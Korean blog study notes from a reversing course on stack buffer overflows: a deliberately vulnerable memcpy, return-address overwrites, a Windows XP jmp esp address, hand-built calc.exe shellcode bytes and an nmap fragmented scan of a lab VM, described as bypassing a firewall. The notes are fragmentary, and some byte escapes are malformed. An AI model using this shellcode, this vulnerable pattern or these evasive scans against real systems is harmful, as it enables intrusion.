clt + f8로 caller부분 breakpoint하고 찾아서 nop으로 바꿈
처음부터 분석하거나
뒤에서 ebp+4로 콜러를찾아감
## 복귀 주소를 따라간다면 콜러를찾을수있다.!!!
---------------------------
지금은 콘솔창
void func(){
int *p;
p=(int*)&p;
p+=2;
*p+=0x0D;
}
int main (int argc,char* argv[])
{
printf("Buffer \n\n");
func();
printf("hackked \n");
printf("hked \n");
getch();
return 0;
}
//복귀주소를 0x0D로 옮긴다.
확인 win32 app
// aa.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
func(char *p){
char buf[4];
memcpy(buf, p, 1024);
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char str[1024] = "AAAABBBBCCCCDDDD";
func(str);
return 0;
return 0;
}
ret ~ pop eip
윈도우는 dll파일을 실행한다.
원래없던것을 opcode를 조합해 jmp esp를 만든다.
7C971EED
\xED\1E\97\7C =jmp esp
0x 숫자
\x 문자 (아스키코드 \0)
F10진행
F9 브레이크
디버그모드F
alt +8 디버그모드 jmp
이걸로 스택을 실행한다.
복귀주소에 jmp esp로하고 공격주소를 적음
#include "stdafx.h"
/*
void func(char *p){
char buf[4];
memcpy(buf, p, 1024);//메모리를 복사함 p값을 1024byte만큼 복사해 buf에 넣는다.
}
*/
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
/*
char str[1024] = "\x90\x90\x90\x90\x90\x90\x90\x90\xED\1E\97\7C; //4byte씩 들어감
func(str);
return 0;
*/
char calc[] = "calc.exe";
WinExec(calc, SW_SHOW);
}
\\\\\\\\\\\\계산기 옵코드
:는 지운다
\x55
\x8B\xEC
\x83\xEC\x4C
\x53
\x56
\x57
\x8D\x7D\xB4
\xB9\x13\x00\x00\x00
\xB8\xCC\xCC\xCC\xCC
\xF3\xAB
\xA1\x1C\x00\x42\x00
\x89\x45\xF4
\x8B\x0D\x20\x00\x42\x00
\x89\x4D\xF8
\x8A\x15\x24\x00\x42\x00
\x88\x55\xFC
\x8B\xF4
\x6A\x05
\x8D\x45\xF4
\x50
\xFF\x15\x00\x52\x42\x00
\x3B\xF4
\xE8\xC9\x5B\xFF\xFF
\x5F
\x5E
\x5B
\x83\xC4\x4C
\x3B\xEC
\xE8\xBC\x5B\xFF\xFF
\x8B\xE5
\x5D
\xC2
83 EC 0C B8 63 61 6C 63 B9 2E 65 78 65 32 D2 90 90 90 90 90 C7 04 24 89 44 24 00 90 6A 05 50 89
4C 24 0C 88 54 24 10 FF 15 00 40 40 00 33 C0 83 C4 0C C2 10 00
mov EDX,kernel32.winexec
call EDX
nmap -port
netcat - 연결
-------------- 리눅스
perl로 공격함
int char a ===> $a
" " = 'a'x1000 -->1000개의 a를 넣겠다
str[]="A...Z"+
abcd.efgh
cd
ls
./
vi
포트만확인
nmap -sS -f xp의 IP -p 6000-7000
status Scan foward port_range 6000~~7000
1~1024 outbound (리눅스방화벽 무시하고 한다 by pass firewall)
nmap -sS -f 192
\\\\\\\\\\
root@bt:~# nmap -sS -f 192.168.17.150 -p 6000-7000
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2013-04-27 23:48 EDT
Nmap scan report for 192.168.17.150
Host is up (0.0014s latency).
Not shown: 1000 filtered ports
PORT STATE SERVICE
6235/tcp open unknown <-------------------------------6235 포트가 열려있다.
MAC Address: 00:0C:29:68:99:56 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 11.11 seconds
'리버싱' 카테고리의 다른 글
__cdecl, __pascal, __stdcall의 차이점 (0) | 2013.05.01 |
---|---|
17일차, (백트랙)리턴 주소를 활용한 악성코드 생성. (0) | 2013.05.01 |
14일차, 크랙을 응용한 키젠만들기. (0) | 2013.04.30 |
13일차 크랙하기. (0) | 2013.04.30 |
12일차 포인터의 caller,callee. 반복문 (0) | 2013.04.23 |